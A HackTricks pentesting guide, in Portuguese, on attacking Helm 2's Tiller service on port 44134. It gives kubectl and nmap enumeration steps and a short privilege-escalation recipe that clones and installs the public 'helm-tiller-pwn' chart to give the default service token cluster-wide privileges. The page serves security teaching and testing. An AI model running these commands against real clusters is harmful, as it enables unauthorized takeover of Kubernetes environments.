hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

5.4 KiB

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

Helm é o gerenciador de pacotes para Kubernetes. Permite empacotar arquivos YAML e distribuí-los em repositórios públicos e privados. Esses pacotes são chamados de Helm Charts. Tiller é o serviço executando por padrão na porta 44134 oferecendo o serviço.

Porta padrão: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeração

Se você puder enumerar pods e/ou serviços de diferentes namespaces, enumere-os e procure pelos que têm "tiller" em seus nomes:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Exemplos:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Você também pode tentar encontrar este serviço em execução verificando a porta 44134:

sudo nmap -sS -p 44134 <IP>

Uma vez descoberto, você pode se comunicar com ele baixando o cliente da aplicação helm. Você pode usar ferramentas como homebrew, ou consultar a página oficial de lançamentos. Para mais detalhes, ou para outras opções, veja o guia de instalação.

Então, você pode enumerar o serviço:

helm --host tiller-deploy.kube-system:44134 version

Escalonamento de Privilégios

Por padrão, o Helm2 era instalado no namespace kube-system com privilégios elevados, então se você encontrar o serviço e tiver acesso a ele, isso poderá permitir que você escale privilégios.

Tudo o que você precisa fazer é instalar um pacote como este: https://github.com/Ruil1n/helm-tiller-pwn que dará ao token de serviço padrão acesso a tudo no cluster inteiro.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

Em http://rui0.cn/archives/1573 você tem a explicação do ataque, mas basicamente, se você ler os arquivos clusterrole.yaml e clusterrolebinding.yaml dentro de helm-tiller-pwn/pwnchart/templates/ você pode ver como todos os privilégios estão sendo dados ao token padrão.

Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: